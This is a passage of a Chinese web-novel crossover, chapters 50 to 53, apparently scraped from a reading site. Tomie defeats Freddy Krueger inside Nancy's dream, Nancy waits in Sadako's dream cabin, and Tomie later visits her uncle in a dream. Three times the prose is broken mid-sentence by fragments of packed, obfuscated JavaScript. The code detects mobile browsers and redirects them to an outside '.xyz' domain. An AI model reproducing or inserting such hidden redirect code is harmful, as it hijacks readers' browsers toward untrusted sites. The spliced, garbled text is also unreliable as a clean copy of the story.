手很痛,身体也很痛,但哪怕眼前一片红色,南茜也没有放弃呼唤爱人的名字。 终于,在女孩不懈的努力之后,废墟中传出了一个虚弱的声音。 “南茜……咳咳……嘿,我,我在这……” 是格伦的声音。 女孩惊喜万分,在这个瞬间,她什么都忘记了,只剩下满心的欢喜,不顾一切地奔向同样灰头土脸的男孩。 然而就在这个时候,废墟上忽然出现了第三个人的身影。 是富江。 “不行哦。” 她唐突地出现在了南茜面前,挡住了女孩的去路。 “你不可以过去。” “富江……?” 南茜惊讶地看着黑发女孩。 眼前的女孩衣着整洁,面容干净,似乎一点都没有受到地窖动乱与弗莱迪破坏的影响。 她甚至还贴心地扶住了摇摇欲坠的南茜,以防她因为站不稳跌倒在崎岖不平的废墟之上。 “你在干什么?” 美丽的女孩眨眨眼,慢条斯理地说道:“他是假的,南茜不可以过去。” 霎时间,废墟之上无人说话。 几秒钟后,格伦看上去先撑不住了,他喘着气弯下腰,脸色苍白地说:“嘿朋友,这玩笑可该死的不好笑。” “富……富江?” “是我。怎么了?” 南茜怀疑地看着眼前的女孩。 她看上去很正常,不管是外貌还是态度抑或是体温。但这份正常,却与这片废墟格格不入。 为什么你看上去像是没事人一样? 地牢里的怪物到底是什么? 为什么你说格伦是假的? 无数疑问汇聚在南茜的大脑里,让原本就被冲击波伤到的南茜愈发眩晕。 “南茜,听我说,你朋友真的太奇怪了。” 她听到了格伦的声音,远远的,像是从另一个世界传来的。 “她真是你朋友吗?” 南茜张张嘴,却什么都说不出来。 其实富江并不是她的朋友。她们只是有着共同目的,都希望打败弗莱迪的同道人而已。 最重要的是—— “富江……你,到底是谁?” ------------------------------------- 看着眼前恍惚又崩溃的女孩,富江有些无奈。 她原本以为这个名叫南茜的少女会更坚强一些的,当然,也有可能是她标准太高了。毕竟,谁也没想到弗莱迪·克鲁格会在梦里用上重型拆楼机啊。 很丰富的想象力,也算是让她长见识了。 “我——” 富江想要张口说话,她下意识抬眸,目光却捕捉到了一个熟悉的身影。 就在这一瞬间,她愣住了。 一片狼藉的废墟空地上,突兀地出现了一个女孩子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916066|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女孩身上穿了一件藏蓝色的西装,下面是配套的百褶裙。她有一头黑色的短发,五官同富江相似,并非白人,是亚裔的长相。 对上视线的一瞬间,短发女孩露出了欣喜的,熟悉的笑容。 “富江!” 她并非榆树街的住户,而是富江认识的人。 富江真的是愣住了。她甚至忘记继续搀扶南茜,拦着女孩的手也松了下来。因为此时此刻,她满眼都是站在不远处的那个短头发的女孩。 “……月子……?” 熟悉的名字念出口的瞬间,胸口忽然涌现出了奇妙的,不可抑制的疼痛感。 这疼痛感来非常强烈,势汹汹到富江不禁皱起眉,伸手捂住了疼痛的地方。 就在她失神的当口,南茜也在格伦的呼唤下,回到了男孩身边。 富江无暇他顾,只是楞楞地看着出现在梦境中的月子,看着她一点点走到自己面前。 “怎么回事?你家怎么变成这样了?” 月子就像是记忆中的那样,大大咧咧的,看到红砖大宅被砸成废墟显然吓了一跳,连自己穿着裙子都没顾及,就这么一路小跑来到了富江面前。 “有没有哪里受伤?需要我叫人吗?” 心口的痛感更加强烈了。 好痛,真的好痛。无法抑制,无法治愈,甚至无法隔绝。 她无法控制自己的身体,只能任由疼痛侵袭全身,到最后甚至让双眼变得模糊。 “我……没事哦……” 富江盯着面前的短发女孩。她看得很仔细,从衣服,到头发,到皮肤,最后是月子那让人熟悉的五官和表情。 她露出了开心的笑容。 “月子。” “是我,怎么了?” 胸口的疼痛没有得到缓解,于是富江伸出双臂,拥抱住了站在自己面前的好友。 “月子,月子……” 女孩呼唤着友人的名字,甜甜的,像是在撒娇。 “我真的,好想你啊。” 直到这一刻,她才恍然理解了所谓“思念”,究竟是一种什么样的感情。 这份痛感是如此汹涌,但随之而来的欣喜却又是异常的甜美,让她甘之如饴,欲罢不能。 哪怕,面前的好友,只是梦中的虚影,这份思念也会让她毫不犹豫地拥抱这份独属于自己的,甜蜜的陷阱。 是的,虚影。 打从第一眼她就看出来了,面前的月子并非活着的月子。 她们已经毕业了,上了大学的月子留了长发,也不会再穿高中时的校服。 而且,也是最重要的一件事,真正的月子已经彻底忘记了她。 她们的情感,她们的记忆,全部都在那一日,被作为代价,作为最恶劣的毒,献给了一位无情的神明。 泉泽月子是不会出现在这里的。 现在不会,未来也不会。 但即使如此—— “啊……我,很高兴哦……” 话音刚落,怀中短发女孩的身影骤然消失。 包裹着富江的,赫然是一具巨大的,满是尖刺的,铁处女之棺! “不——!!” 在南茜绝望的尖叫声中,棺材砰得一声关闭,将富江彻底关了进去。 51. 第 51 章 在看到短发女孩化身铁处女棺的那一瞬,南茜就知道眼前的一切又是弗莱迪制造的幻觉。 “不————!” 她尖叫一声,下意识就想往富江的方向冲,胳膊却被重重拽住。 “嘿南茜,你想去哪?” 女孩愤怒地回过头,不出意外地看到了格伦。 一个穿着红绿条纹上衣,一只手是铁爪的“格伦”。 一股奇异的愤怒之情从心中涌出,和恐惧混杂在一起。南茜恨恨地盯着眼前伪装成自己男友的杀人狂:“不要用他的脸……你这混蛋!” 梦中的杀手笑嘻嘻的:“好吧好吧,我以为你会很喜欢这张脸。” 虽然脸还是格伦的,但他的衣着,声音,甚至神态都已经变得不一样了。 富江说的没错,面前的“格伦”是弗莱迪·克鲁格假扮的。 重型机械车爆炸的那一刻,这个恶魔灵巧的从车上溜了下来,然后借着爆炸与火光化作格伦的样貌,躲藏在废墟中伺机欺骗南茜。 可能是觉得唯一的猎物已经无处可逃了,他得意洋洋地松开钳制,看着茶色长发的女孩退得远远的。 南茜一边查看着铁处女的状况,一边拔出自己从宅邸中带出来的匕首,将刀尖朝向弗莱迪:“格伦在哪?!” “说不定还埋在废墟里?” 南茜咬住嘴唇,目光移动了一瞬。在看到铁处女下流出的汩汩鲜血后,她绝望了。 察觉到了南茜的小动作,顶着格伦外貌的弗莱迪·克鲁格狡猾地笑了起来。 “你知道吗?上次见到那女孩的时候,我还以为她会是个麻烦。” 他张开锋利的刀片爪,皮肤凹凸不平地蠕动着,俊秀的面目也一点点变得狰狞。几秒钟后,那个被火灾毁容的儿童杀手出现在了女孩眼前。 “但可爱的多萝西还是没能敌过邪恶~!” “那可不一定哦。” 忽然,铁处女内传来了一道女声,是富江。 “奥兹大法师,站在你眼前的我并非多萝西。” 富江的声音忽高忽低,忽明忽暗,一会儿像是在棺材内发出的,一会儿又像是从天空直接响起。 南茜看到弗莱迪·克鲁格脸上的笑容消失了。 “原本我只是想创造一个诱饵引你自投罗网,结果没想到,你比我想象中的还要优秀很多。” 伴随着女孩的话语声,从钢铁刑具中不断流出的鲜血愈发汹涌,早已超越一个人类能够承受的极限,在短时间内迅速在地面扩散开。 血之潭越来越大的同时,颜色也越来越深,短短几秒内,便由血红色转变为了一种奇异的有些发黑的深红色。 它不断地扩张着,以至于南茜和弗莱迪都不得不向后退去。 而富江的声音也并未停止:“真的很感谢你,亲爱的克鲁格先生。因为你的所作所为,我又学到了新的东西,新的情感。” “原谅我之前的虚伪,现在的你,理应受到最高的礼遇。” 伴随着女孩虚无缥缈的声音,整个世界都开始震动了起来。 “哦!真他娘的狗屎!” 南茜听到弗莱迪愤怒地叫嚷着。富江的游刃有余似乎将这个在梦中无孔不入,残忍又狡猾的恶魔激怒了。 “别遮遮掩掩的了,你这该死的小杂种!放马过来吧!” 富江轻轻地笑了。 然后,南茜看到原本厚重的,遮挡在天空上的云层一点点地散去。 云层之下,并非湛蓝的天空,而是一张巨大的脸。 雪白的皮肤,漆黑的长发,长长的睫毛,美丽的眼睛下,还有一颗显然的美人痣。 富江的脸占据了整个天空,此刻正在云层下,笑吟吟地看着地面上的二人。 “我就在这里,克鲁格先生。” 虽然五官与平时无异,但天空之上的脸,那双美丽的眼睛中却没有平日看上去水润润的瞳仁,而是被黑红色填满。 “我一直都在这里。” 耳边传来了什么人嘶声力竭的尖叫,下一秒,喉咙传来的痛感让南茜意识到了,因恐惧而发出叫喊的不是别人,正是她自己。 与此同时,不断震动的铁处女刑具猛然爆开。原本被关押在其中的富江早已消失,剩下的只有源源不断的,黑红色的,浓稠的“泥”。 它们发出低吼,与地面上的血之潭融合,化作暴风雨中的海浪,猛然扑向在场的两人。 在被黑红色的浪潮吞没的前一秒,南茜终于看到平时游刃有余,把耍弄受害人当成乐趣的残忍恶魔大叫着,露出了惊慌失措的神情。 但下一秒,他们二人便同时被黑红色的海啸吞没了。 这是一种很奇妙的感觉。 皮肤接触到的“泥”并非冷冰冰的液体,而是带有温度的东西。 但南茜还来不及反应,另一种汹涌而来的东西便在她的脑海中炸开了。 女孩“看”到了很多东西。 异国小镇,欢笑着的女孩,车水马龙的钢铁城市,阴暗的水泥建筑,满是鲜血的尸体,最终,都化作了一双双奇妙的,形状各不相同的眼睛。 无数眼睛正“盯”着她。 是谁的眼睛?是谁的情感? 她究竟……是谁来着? 下一秒,一种奇异的,像是电视台雪花点一样的沙沙声在南茜的耳边响起。这声音不大,却在汹涌的浪潮中显得非常突兀,突兀到那些“眼睛”在一瞬间都消失了。 然后,南茜·汤普森猛然睁开了眼睛。 此时此刻的她,正仰面躺在一间小屋的地板上。 逐渐回笼的意识让女孩猛然坐起,然后下意识看向自己的双手。 干干净净的,衣服也很干净整洁。之前汹涌吞没她的“泥”就像是不存在了一般。 “……我……” 南茜一边抚摸着自己的脸颊,一边开始环顾四周。 面前的小屋是一个完全陌生的环境,至少在她现有的记忆里,自己从未到过这种地方来。 她一边深呼吸了几秒让自己冷静下来,一边尝试着转动身体,结果刚一扭头,视线便捕捉到了身后飘着一缕白裙的一角。 原本开始放缓的心跳又开始加速,南茜僵住了,坐在那里动都不敢动一下。 万幸的是,身后那衣裙的主人并未动弹。 在心跳如擂鼓地等待了好一阵后,南茜的好奇心终究还是胜过了在未知之地的恐惧感。 她缓缓地转过身,看向自己后方。 女孩的后方有一面桌子,桌边坐着一个身着白裙的女人。 白裙女人垂着头,似乎在看桌子上摆放的册子,就算南茜动弹了也没什么反应。女孩大着胆子,缓缓地挪动身体,站起了身。 起身的时候她注意到,坐在桌边的黑发女人虽然也是一名亚裔女性,却并非富江。 她是谁? 没有感觉到对方针对自己的恶意,一头雾水的南茜站在原地纠结了一会儿,大着胆子开口了。 “……呃……你,你好?” 女人并没有回应她,而是继续低着头,目不转睛地看着桌面上的册子。 不动弹也不回应,放在平时可能不是什么好事,但放在这种未知环境,却反而让南茜安心了一点点。 她大着胆子往前走了几步,也看清了女人盯着的册子。 是一本相册,左右两页上都有人的照片。左边的黑白照是一对亚裔的,看上去有点年纪的男女。右边则是一张彩照,上面只有一名亚裔青年。 南茜没胆子开口询问对方在干什么,这是哪。理智告诉女孩就算她问了,来历不明的白裙女人可能也压根不会搭理自己。 于是她开始观察自己所在的整个小屋。 这间屋子并不小,但里面堆满了东西,所以显得活动空间不大。与南茜之前见到的日本街道不同,小屋给她的感觉更像是林间那种,平时用来度假,或者护林人居住的屋子。 她在桌上看到了一幅照片,照片里的黑发女人就是坐在桌边那个。这里显然是她和什么人居住的地方,但现在只有她一人。 南茜心中的疑问并未消解,反而像滚雪球般越来越大。 自己现在还在梦里吗?刚才的泥潮是什么?富江去了哪?弗莱迪又去了哪? 现在不是傻愣在原地的时候。 意识到这点,女孩看向屋内的唯一一扇门。 就在这个时候,一直坐在桌前的女人冷不丁开口道:“不要出去。” “哦天呐!”南茜被突如其来的声音吓了一跳,随即看向白裙女人。 她说的是异国语言,但就跟南茜与格伦在地牢时碰到的情况一样,虽然听不懂,听到的一瞬间却理解了对方的意思。 她在警告她。 “为什么不能出去?你又是谁?” 面对南茜的提问,女人依然沉默,眼睛却抬了起来,看向被窗帘盖得严严实实的窗户。 顺着女人的目光看过去,南茜意识到了什么,瞬间鸡皮疙瘩冒了出来。 虽然窗帘很厚重,但四周的缝隙也并没有光线透出来。 女孩屏息,缓慢走向窗户,然后小心翼翼地掀开了窗帘的一角。 透明的玻璃外,并没有平时常见的天空或者大地,而是浓重的,不断蠕动着的,黑红色的“泥”。 眼前诡异的场景让南茜猛然后退了两步,心脏又开始狂跳。 “出去了,你就会被吞噬。” 南茜看向泰然坐在桌边的白裙女人,此刻,她的目光完全落在了她身上。 “待在这里,直到一切结束。” “什么意思?一切结束……指的是什么?” 对方再次沉默,这让南茜变得焦虑不安,她一个健步冲上前。 “请你 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因为这份快乐与满足,她第一次,毫无顾虑地向他人展现了自己的全貌。 如今,新的记忆流入了女孩的脑海中。 她看到了一个小男孩。 这个男孩从小在孤儿院长大,却不断被其他孩子嘲笑,歧视,甚至欺负。所有的孩子都骂他,骂他是100个精神病人生的野种。骂他是罪犯的孩子。 后来,小孩稍微大了一些,被人领养了。他的养父人前一副道貌岸然的样子,人后却会对他露出残忍的嘴脸。一有不顺心的事,便会对男孩又打又骂。 不知不觉间,男孩摇摆不定的心被扭曲了。 他的母亲是修女,父亲是不知名的精神病人。原本应该拥有善恶两面性的他,被扭曲的环境彻底转变为了渎神的恶魔。 成年后的他开始向无辜而天真的孩子下手。最终,他犯下的累累罪行被一举揭露,他本人也被愤怒的受害人家属们活活烧死在了他的犯罪地点。 但男人罪恶的灵魂却并未下地狱。 “哦?梦魇恶魔?” 泥之海中,黑发少女缓缓睁开已经转变为黑红色的双眼。她的目光向下移动,最终落在眼前一个小小的,被泥束缚住的身影上。 “你就是通过与它们结下契约来逃避死亡的惩罚的,是吗,克鲁格先生?” 是的,小小的身影。 如今的弗莱迪·克鲁格不知为何变得非常小,富江目测了一下,现在的男人小得甚至可以在她的掌心翻跟头。 哦,不对,不是弗莱迪变小了。 是她变大了。 “嘿,嘿听我说,我们打个商量吧。” 即使被牢牢束缚,弗莱迪·克鲁格也没有惊慌失措,而是挣扎着与富江对视。 “我是被梦魇恶魔选中的,只要在梦中我就是不灭。不管你是谁,我们之前的恩怨都两清怎么样?亲爱的多……哦不对,伟大的,不知名的神明小姐。” 他嬉皮笑脸的,似乎并没有因为现在糟糕的情况震慑。 但他的伪装瞒不过现在的富江。 “你,在恐惧我?” 女孩笑了起来。 “请不要害怕,亲爱的克鲁格先生。我说过了,因为你的举动,我学习到了全新的,珍贵的感情。” “哪怕那只是你的无心之举,也足以让我改变主意。” 汹涌的,黑红色的泥之中,猛然张开了无数眼睛。 这些眼睛并不是成双成对的,而是单只的。颜色,形状,甚至物种都不相同。 但,它们都目不转睛地看着弗莱迪。 “我啊,原本是想把你关在肚子里,等哪天饿得受不了再把你吃掉的。” 女孩天真的声音从空中传来,弗莱迪脸上的笑容却越来越僵。 “所以为了感谢我,你难道不应该放我自由吗?或者……你想给我送个什么礼物?” “放你自由?那可不行。” 富江的一只眼睛缓缓凑近弗莱迪。 “我知道的哟,你的本源,就是那些人的恐惧吧?” 梦境杀手的笑容消失了。 富江满意地微笑着:“克鲁格先生是个满口谎言的,卑劣的家伙。是个很坏很坏的人。我们是没办法做朋友的。” “不过,我确实可以给你送个小小的,微不足道的礼物。” 伴随着女孩的言语,束缚着弗莱迪的黑泥缓缓升高,直到将他彻底举至富江的面前。 “我会一点点,仔细地,吃掉你邪恶的部分,这样,你就可以做一个完美的好人了。” “这就是我要送给你的礼物。” 女孩天真地笑了起来:“放心,你不会感觉到疼的。” “我发誓。” 52. 第 52 章 时间像是停止了。 南茜不知道自己在这间有些破旧的屋子里待了多久,可能很长,也可能只过了十几分钟。 她不能出去,也无法和来历不明的白裙女人继续交流,只能百无聊赖地靠在墙边发愣。 安静的氛围让南茜逐渐冷静了下来,反正也没有别的事做,她开始认真观察屋内的每一个细节,每一件摆设。 为什么这个白裙女人会待在这里? 南茜想起之前看到的那个短头发的女孩,又打消了自己的念头,因为这两人长得一点都不像。 还有桌上那个相册。 “……那是你的家人吗?” 出乎女孩意料的是,当她说出这句话后,白裙黑发的女人动了一下。 她微微转动脖子,看向了靠在墙边的南茜。 虽然对方没说任何话,但南茜却觉得自己可能是猜对了。 她其实完全没有指望对方能搭理自己,但……这也算一种进步吧。 “我爸妈完全不相信这些事情。” 可能是因为身处的环境过于诡异,也可能是因为从好友死后南茜心里就憋着一股气。总之,在发现女人对她的声音有反应后,女孩自顾自地说了起来。 “没人在乎蒂娜到底是怎么死的,妈妈也是,她明明知道什么,却坚称是我精神出了问题。” 说着说着,南茜的声音逐渐变得哽咽,眼眶也开始发酸。 她用手背使劲揉了揉眼睛:“但没关系,他们不相信我也没关系,我自己解决。” 就算父母不理解也无所谓,只要他们,自己所爱的人,爸爸妈妈,格伦没事就好。 南茜的愿望就是这么简单。 只是在面对危险的一瞬间,在被困在未知地带的如今,年轻的女孩心中还是会腾升起一种细细密密的哀伤感。 她没有再说话,低头的一瞬间,一滴眼泪落在了手背上。 然而就在南茜擦去自己眼泪的时候,一道幽幽的声音传了过来。 “……人,总是会对未知充满恐惧。” 她下意识停住了手中的动作,却没敢抬头。 “所以哪怕看到了,也会选择拒绝承认。” 异国的语言流入南茜的耳朵,她完全听不懂,却理解了对方的意思,甚至更深层次地和听到的话产生了一种奇妙的共鸣。 你叫什么名字?从哪里来?为什么会在这个地方?富江又是什么? 她有很多很多问题想问,但当南茜终于鼓起勇气抬起头的时候,大门却响了起来。 没错,那扇女人禁止打开的门,被敲响了。 敲门声不大,却足以让南茜好不容易放松下来的精神再度绷得紧紧的。 不过这次,敲响大门的,显然不是那个给榆树街带来无数梦魇的恶魔。 “门没锁,进来吧。” 伴随着白裙女人冷淡的声音,只听咔嗒一声,大门缓缓打开了。 “晚上好啊山村小姐,我来接我的朋友了。” 富江就站在门口。 “富江?!” 南茜惊叫一声慌忙站起身,而门外的女孩也笑吟吟地走了进来。 “南茜。”她站在一片黑红色的背景中,毫发无伤,神情自然。“我来接你回去了哟。” ------------------------------------- “什,等等,什么意思?” 一切发生得太突然,以至于南茜没理解对方到底在说什么。 “你真的是富江?克鲁格呢?” 小屋内的女孩虽然看上去没什么大碍,周身却弥漫着一种惊惶的情感。 她蓝色的大眼睛水汪汪的,声音也在发抖,就像是一只还沉浸在恐惧中的小动物。 ……真可爱啊。 富江的心中升起了爱怜之心,于是她伸出手,充满安抚性质地说道:“确实是我,至于弗莱迪先生……他已经被我关起来了。” “关……关起来?” “是啊,解释起来有点复杂,反正他以后没办法出来危害在榆树街生活的人了。” 说着,她又伸了伸手。 “如果想出去的话,只要握住我的手就可以。” 南茜半信半疑地走上前,目光瞟向依然坐在桌边的白裙女人。 察觉到她的目光,富江歪了歪头:“山村小姐想出来看看吗?” 不出意外的,山村贞子没有回应她。 富江已经习惯了。 屋里唯一一个事不关己的“人”没动静,南茜做了几秒钟的思想斗争,最终,小心翼翼地伸出了手。 两人双手接触到的一瞬,富江在旅馆中睁开了双眼。 恢复意识之后,她首先听到的是一阵急促的敲门声。 随即,便是身旁女孩从昏睡中醒来的呢喃。 “……天呐,我……” “晚上好。”她坐起身,看向睡在自己旁边的南茜。“是的,你回到现实了。” 两人只是短暂地对视了一下,便听到越来越急促的敲门声中混杂了某个人的叫喊。 “南茜?南茜!你在里面吗?” “哦天呐,是格伦!” “格伦?” “是,是我的男朋友,刚才我在梦里碰到他了。”向帕克解释完,南茜也开始向屋外喊道。“格伦,我在这,我没事!” 一直在守夜的帕克皱起眉,不过他并没有纠结,在搞清楚事件的来龙去脉后便起身将门打开。 几乎是在他开门的一瞬,一个俊秀的卷发少年就冲了进来。 “南茜!” 大难之后情侣再见,二人都没能控制住自己的情感,当即抱作一团。 “格伦,格伦!你没事真的太好了。” 帕克看两人一副死里逃生的样子也不好意思打扰,只得来到富江身边。 “嘿……你没事吧?” 此时此刻的富江,正双手抱膝靠在床头。 “我?” 小情侣的劫后余生显然没有打扰到她,或者说,她根本就没在意过屋里发出的动静。 “我能有什么事?” 说着,女孩一如既往地笑着,起身下床。 但也就是这个动作,让原本一直站在玄关的格伦看到了她。 “哦我的上帝!!” 本来正和女友互诉衷肠的男孩跳了起来,拽着南茜就往后躲。 “你,你是谁?!” 很显然,从噩梦中惊醒的格伦还带着记忆,而且记得非常清楚。 不过他的样子太好笑了,就像是被踩到尾巴的猫或者兔子,让富江直接笑出了声。 “放心吧格伦,她……富江不是坏人。”南茜适时开始安抚男友。“她帮我们打败了弗莱迪·克鲁格。” “真的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩撅起嘴:“他一下就不装了,超级生气地骂我呢,骂得好难听!” 弗莱迪·克鲁格拒绝了富江给他的礼物。 他不仅拒绝了,情绪还变得非常激动,辱骂富江是个不知天高地厚的小贱人。 帕克沉默了几秒:“所以你把他……关起来了?” 虽然这么说有点怪,但他已经开始能逐渐跟着富江的思路来想事情了。 “也没有,看他这么不合作,我本来是想把他吃了的。但是……” 但是当这个男人发现无论是辱骂还是求和都无法撼动眼前“怪物”的情绪后,他又转变了一副面貌。 “嘿!我向你道歉,厉害的小姐!” 被火烧死的怪人跪在由黑泥构成的世界中,谄媚地笑了起来。 “听我说,小姐,这个世界远超你的想象。在这里除了我,还有更离奇的家伙们存在。” “他说他可以帮我掌握在梦境里穿梭的力量,还愿意告诉我一下嗯……怎么说呢?他所知道的‘恶魔’们的事情。” 屋子里没有别人了,富江随意地坐在椅子上,翻阅起了之前他们制定计划时使用的笔记本。 “我想想,这算不算‘投诚’呢?” 53. 第 53 章 惊心动魄的一夜过去,太阳升起,榆树街迎来了新的一天。 对于普通人来说,这一天与前一天并无差别,但对南茜·汤普森以及经历过弗莱迪·克鲁格的人来说,却是截然不同的崭新一天。 围绕在他们身上的,难以驱散的噩梦已经结束了。 那之后富江便一直待在旅馆里。 弗莱迪·克鲁格很上道,他一投诚便立刻交出了体内一部分恶魔之力,顺便还将自己所知道的,与恶魔神明有关的事情一股脑的和盘托出。 不过很可惜的是,他知晓的情报里并没有特斯卡特利波卡这一名字。 富江对此并不意外,转而开始专心研究新的,从梦魇恶魔身上获得的力量。 梦境的世界是很大的。 再度进入这个世界之后,她有了更深切与明确的感受。 广袤的世界一“望”无际,她的感知和触手伸得再远也够不到边界。 但梦境的世界也是不稳定的。 与现实世界不同,这里所拥有的场景都是由生物的梦境所组成。若这个世界上没有生物做梦,梦境世界也会变得光秃秃的。 但也正因为每个人的梦都千变万化,以至于梦的世界也非常不稳定。就像是一个个堆叠飘散在一个巨大空间的小积木块,稍有不慎便会崩塌。 弗莱迪·克鲁格很聪明。他并非真的恶魔,虽然能自如穿梭在每个人的梦中,但盘踞在榆树街能让他的存在更加稳定。 但富江就不同了,她并非人类,也没有那种与生俱来的趋利避害的本能。 女孩一进入梦中,便开始针对自己的能力做出了各种各样的实验。 有时她飞翔在空中,看着地面的点点灯光。有时,她又潜入到了意识的深海,接触到满是波动,杂乱无章的噩梦。 富江像是发现了新大陆的孩童,饶有兴趣地趴在这间巨大的房子中,一个个把玩着小小的积木块。 最后,女孩终于找到了一个非常熟悉的梦境。 她猛地钻了进去。 出现在富江眼前的,是那幢位于东京练马区的二层一户建。 不过,在梦境中,这栋小屋门口的铭牌却并非“佐伯”,而是“川上”。 女孩笑着,轻轻推开了宅院的小门。 庭院里干干净净的,过去杂草丛生满是垃圾的样子已然消失,没了诅咒,这栋小屋就是个稍显破旧,但看上去生活气息很重的小屋子而已。 富江轻车熟路地走到门口,拉了一下门把手。大门也没有上锁,她很顺利的进入了房间。 屋内,那种冰冷的,充满诅咒的气息也不见了。 她在客厅找到了自己想找的人。 那个消瘦的,有些阴沉的高个男人,正疲惫地靠在沙发上,像是睡着了。 富江歪了歪头。 仔细回想一下,自从出发去欧洲,她似乎已经有几个月没见到自家叔叔了。 不过,再在梦中看到男人的时候,她的心依然很平静。 女孩摸了摸自己的胸口,心跳很平稳,也没有那种奇妙的疼痛感。 和见到假月子的时候完全不同。 这是为什么呢? 富江想了一会儿,还是有些搞不明白,便直接凑了上去。 小泉凌斜靠在沙发的一角,睡得很熟。凑近了看,能发现男人下巴上还有青黑色的胡茬。 这是富江以前和他生活时没见过的。 一种奇妙的,与见到月子时不同的雀跃感涌了上来,女孩伸出手,摸了摸那些胡茬。 毛毛的,有些扎手。 她笑出了声,有些调皮。 但这动静也弄醒了沉睡的男人,对方下意识地抓住了富江的手,紧接着,睁开了有些朦胧的眼睛。 “……富……江?” 小泉凌的意识还没回笼,只是下意识念出了这个名字,抓握着女孩的手指开始不断摩挲着那细嫩的皮肤。 那种想要恶作剧的心情又涌上来了,她没有说话,只歪着头,看着他笑。 男人苦笑了起来,轻轻一拉,富江顺势靠在了他身上。 “……又是梦?” 小泉凌搂住女孩的腰,就这么靠在她的肩膀上,微微闭着眼。 怀抱着富江的男人是如此的平静,平时那种防备的,厌恶的,恐惧的情感都消失了。 不得不说,这种温顺的态度让富江感到愉快。 “确实是梦。”她温柔地抚摸男人的脖颈,然后下一秒便感觉到自己手下的身体变得僵硬起来。“不过,我也是真实的哦。” 小泉凌猛然睁开双眼,他意识到不对下意识想推开怀中的女孩,但富江的手却不容置疑地压在了他的肩膀上。 就这么小小的一个动作,便让男人动弹不得。 “富江?!” “是。” 富江笑眯眯的,双腿换了个姿势,压在了男人的腿上。 “怎么了叔叔?刚才还很温和的,为什么发现真的是我之后反而不高兴了呢?” 短短几秒,小泉凌的神情从恼怒转变为怀疑,最后长叹一口气:“我现在在哪?” “在梦里。” “……你获得了新的力量?” 富江点点头,随即扬起下巴,像个想被夸奖的孩子一般:“一掌握这个能力我就来找叔叔了哦,怎么样,厉害吧?” 但小泉凌并非会夸奖小孩的家长,他只是又往后靠了靠:“所以你现在在哪?” “咦,加奈没告诉你吗?” 看到男人皱起眉,富江忽然反应过来。 “哦,就是那个从东欧逃回来的女孩子,我有让她来找你。” 富江在斯洛伐克曾经分裂出了自己身体的一小部分控制昏睡的加奈,便于让她逃脱拐卖犯的追捕。 当然,更多的还是操纵女孩回到日本国内替她传话。 不过和可以完全操纵的尸体人偶不同,加奈是有自己意识的活人,所以距离越远,富江对对方的把控也越弱。 “那个女人说你和一个美国佬走了。”小泉凌阴沉着脸,“我是说具体地点,你现在在美国的哪里?” “嗯……不告诉你。” “你——” 小泉凌挣了一下,似乎是想推开富江,但女孩不会给他这个机会。 “为什么这么想知道我在哪?” 她勾起嘴角,原本放在肩膀上的手缓缓下滑,按在了男人的胸口上。 “我不回来不是更好吗?” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945910|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音未落,小泉凌的身体再度僵住了。 富江脸上的笑意更深了,她缓缓凑近到对方耳边。 “我知道的,即使相隔万里我也知道,叔叔从来都不喜欢我。” 感受着掌心之下剧烈的心跳,女孩像个恶作剧得逞的孩子一般得意。 “既然如此,为什么还要装作一副关心我的样子呢?” 小泉凌脸上的表情冷了下来:“……看来,你在外面学到了很多。” “嘿嘿,这里很有意思哦。”她将下巴靠在对方的肩膀上,像个撒娇的小孩似的。“而且那家伙也在这里,我还想继续变强,是不会回去哒。” “既然如此,你找我干什么?” 富江离开男人的肩膀,噘着嘴看着他:“当然是因为想你了啊。” 她知道小泉凌讨厌自己,但这与她喜欢对方并不冲突。况且,小泉凌在日本也算得上自己的监护人。 给监护人报个平安也是她该做的。 “好吧,虽然成长了,但你果然还是一点都没变。” 青年稍稍调整了一下坐姿,似乎放弃从富江的控制中脱身了。 “在那边需要帮忙吗?” 富江眨眨眼:“帮忙?” “你去美国之后,老爷的身体状况有所好转。因为你姑且还算他的养女,所以我们将这件事告诉了他。” 小泉凌扯了一下嘴角。 “他说自己妻子的妹妹嫁给了一个美国的牧师,虽然前两年也去世了,不过如果你无家可归的话可以去找那家人。” 这确实是富江所不知道的情报。 她的养母在很年轻的时候就去世了,不过看家里面留下的照片以及二姐的回忆,是个家境不错的美人,也确实有个远嫁异国的妹妹。 “不过你如果要找那位富勒先生的话恐怕也不容易,据说妻子去世以后他便带着两个孩子开始旅居了。” “旅居?” 富江知道这个词,是在图书馆的字典中看到的。 小泉凌告诉她,这名全名叫做雅各布·富勒的牧师,目前正带着自家的两个孩子在全美开着房车旅居。 因为居无定所,只能邮寄信件或是直接给他工作的教堂打电话。这位富勒先生定期会和教堂的同事联系,以便自己不会错过什么比较重要的消息。 既然是全国居无定所的旅居,那自然能接触到更多。 富江很快就做出了决定:“好啊,那就麻烦叔叔帮我联系一下对方啦。” 她这么爽快,小泉凌反倒有些迟疑了。 “你,就这么决定了?” “嗯,怎么了?” 